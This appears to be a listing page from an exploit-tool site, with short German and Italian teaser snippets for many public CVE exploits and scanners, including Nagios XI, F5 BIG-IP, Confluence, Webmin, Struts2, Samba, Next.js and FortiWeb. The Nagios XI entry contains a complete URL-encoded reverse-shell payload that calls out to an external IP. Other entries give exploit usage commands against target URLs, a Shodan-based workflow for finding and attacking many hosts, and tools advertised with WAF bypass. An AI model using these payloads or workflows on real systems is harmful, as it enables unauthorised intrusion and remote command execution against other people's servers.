CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability

CVE-2024-10220-Kubernetes-gitRepo-Volume-Vulnerability Von Mark Mallia Containerisierung und die Macht der Automatisierung Containerisierung ist das Rückgrat moderner Anwendungsbereitstellung: Sie bündelt einen gesamten Laufzeitstapel in einem einzigen, unveränderlichen Image, das ohne...

CVE-2019-20197

CVE-2019-20197 Nagios XI Remote Code Execution Vulnerability = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POS...

cve-2023-1671

CVE-2023-1671 Wie funktioniert cve-2023-1671https://vulners.com/cve/CVE-2023-1671 ? /opt/ws/bin/ftsblistpack ist ein Perl-Skript, das /opt/ws/bin/sblistpack aufruft, ein weiteres Perl-Skript. Die Shell-Befehlsargumente darin sind in einfache Anführungszeichen eingeschlossen: root@kitploit: $rc +=...

WP-CVE-2016-10033

WordPress = 4.6 Vulnerabilità di esecuzione di comandi PHPMailer CVE-2016-10033 Informazioni sulla vulnerabilità WordPress è una piattaforma di blogging sviluppata in PHP che consente agli utenti di creare il proprio sito web su server che supportano PHP e database MySQL. WordPress può anche esse...

CVE-2022-1388

CVE-2022-1388-Exploit Script di exploit e verifica per CVE 2022-1388 Utilizzo Per verificare un singolo host tramite URL root@kitploit: python3 exploit.py -v true -u targeturl Per attaccare un host e testare un comando su questo host root@kitploit: python3 exploit.py -a true -u targeturl -c comma...

CVE-2022-26134

CVE-2022-26134 1. Prima esegui gli script shodan per recuperare tutti gli IP python3 shodanscript.py -API yourapi -L limit -D "http.favicon.hash:-305179312 200" log.txt ex: python3 shodanscript.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" log.txt 2. Per tutti gli IP validi : cat...

CVE-2019-15107

CVE-2019-15107 Exploit Python L'exploit per CVE-2019-15107 webmin Riconoscimenti Basato sul modulo Metasploit https://www.exploit-db.com/exploits/47230 Avviso originale: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

f5scan

f5scan F5 BIG IP Scanner per CVE-2020-5902 di bt0 Maggiori informazioni sulla vulnerabilità: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisiti: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opzioni root@kitploit: -h, --help show this help message and...

CVE-2022-26134

CVE-2022-26134 Installazione root@kitploit: 下载py,本地cmd运行 Utilizzo poc root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com exp root@kitploit: python3 CVE-2022-26134.py -u http://www.xxx.com -c id Disclaimer🧐 Questo strumento è destinato esclusivamente ad attività di sicurezza aziendale...

POC-CVE-2025-55182

Scanner per CVE-2025-55182 Semplice strumento da riga di comando per rilevare e sfruttare CVE-2025-55182 RCE dei React Server Components nelle applicazioni Next.js. Installazione root@kitploit: chmod +x scanner.sh Utilizzo root@kitploit: Scan with default command id ./scanner.sh -d example.com...

CVE-2017-11882-exp

CVE-2017-11882 43b Lo script originale proviene da https://github.com/embedi/CVE-2017-11882 109b Lo script originale proviene da https://github.com/unamer/CVE-2017-11882/ omaggio: ora il codice di unamer può eseguire shellcode CVE-2017-11882:...

CVE-2025-55182-poc-tool

CVE-2025-55182-poc-tool Un potente strumento di exploit per rilevare e sfruttare la vulnerabilità CVE-2025-55182 nei React Server Components di Next.js. Questo strumento consente l'esecuzione remota di comandi RCE nelle applicazioni Next.js vulnerabili, con funzionalità integrate di bypass WAF...

CVE-2025-64446-PoC---FortiWeb-Path-Traversal

CVE-2025-64446 PoC - FortiWeb Path Traversal Descrizione Proof of Concept per la vulnerabilità di path traversal relativo in Fortinet FortiWeb CVE-2025-64446 che consente l'esecuzione di comandi amministrativi. Dettagli Tecnici CVE: CVE-2025-64446 CVSS: 9.8 CRITICAL...

-CVE-2017-9805-

Informazioni sulla vulnerabilità Risorse: https://vulners.com/cve/CVE-2017-9805 Cos'è questo? Uno script exploit in Python in grado di eseguire comandi remoti nella shell di un sistema che ospita una Struts2 vulnerabile a S2-052. Utilizzo python s2-052.py --target 'http://192.168.0.233/orders/3'...

Samba-Exploit-CVE-2007-2447

🎬 Questo video YouTube 1️⃣ Scansione del target Nmap root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 Risultato atteso: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Versione Samba: 3.0.20 È vulnerabile a CVE-2007-2447. 2️⃣ Identificazione...

CVE-2025-50505

CVE-2025-50505 API non autorizzata porta all'esecuzione arbitraria di comandi e all'escalation dei privilegi in Clash Verge Rev Descrizione La vulnerabilità deriva da un endpoint API non autenticato esposto dal componente clash-verge-service, che viene installato con privilegi elevati per...

CVE-2022-22947

Auf der Grundlage des Wang-Zheng-Codes wurden zwei Arten von Reverse-Shells und eine Netzwerk-Erkennung hinzugefügt. Wenn beim Ausführen ein Modul fehlt, laden Sie es einfach mit pip herunter. Geben Sie eine verdächtige URL ein. Achten Sie darauf, dass nach dem Port kein '/' folgt. 1. Zuerst...

cve-2025-24514

🔥 PoC di verifica della vulnerabilità remota CVE-2025-24514 Questo script è un PoC basato su Python per la verifica remota della vulnerabilità CVE-2025-24514 manipolazione della configurazione NGINX e possibile esecuzione di codice remoto tramite l'iniezione di auth-url in ingress-nginx. 🧠...

cve-2023-5044

CVE-2023-5044 Ingress-Nginx-Exploit Proof-of-Concept Dies ist ein schnelles Go-Programm, um die aktuelle CVE im Ingress-Nginx-Controller auszunutzen. Details zur Durchführung sind bereits über Rory McCunes Blog unter https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/ verfügbar,...

F5-CVE-2022-1388-Exploit

F5-CVE-2022-1388-Exploit Script di Exploit e Check per CVE 2022-1388 Utilizzo Check su singolo host root@kitploit: python3 CVE-2022-1388.py -v true -u targeturl Attacca l'host e testa il comando root@kitploit: python CVE20221388.py -a true -u targeturl -c command Attacca una lista di host...